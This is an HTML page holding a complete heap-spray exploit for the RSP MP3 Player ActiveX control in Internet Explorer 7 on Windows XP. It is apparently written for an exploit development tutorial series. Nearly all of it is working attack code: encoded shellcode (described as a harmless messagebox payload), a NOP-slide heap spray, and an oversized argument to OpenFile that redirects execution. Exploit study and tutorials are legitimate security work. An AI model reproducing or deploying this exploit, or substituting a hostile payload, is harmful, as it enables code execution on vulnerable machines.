<!-------------------------------------------------------------------------------- // Exploit: RSP MP3 Player OCX ActiveX Heap Spray // // Author: b33f - http://www.fuzzysecurity.com/ // // OS: Tested on XP PRO SP3 // // Browser: IE 7.00 // // Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/ // // 16fc339cccdb34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip // //------------------------------------------------------------------------------// // This exploit was created for Part 8 of my Exploit Development tutorial // // series => http://www.fuzzysecurity.com/tutorials/expDev/8.html // ---------------------------------------------------------------------------------> <html> <head> <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object> </head> <body> <script> //msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le var Shellcode = unescape( '%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43'+ '%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0'+ '%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9'+ '%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51'+ '%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83'+ '%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d'+ '%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2'+ '%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638'+ '%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798'+ '%ud011%u258a%u066a%u0a1d%u58c4%u820b'); var NopSlide = unescape('%u9090%u9090'); var headersize = 20; var slack = headersize + Shellcode.length; while (NopSlide.length < slack) NopSlide += NopSlide; var filler = NopSlide.substring(0,slack); var chunk = NopSlide.substring(0,NopSlide.length - slack); while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler; var memory = new Array(); for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode } // Trigger crash => EIP = 0x06060606 pointer=''; for (counter=0; counter<=1000; counter++) pointer+=unescape("%06"); Oops.OpenFile(pointer); </script> </body> </html>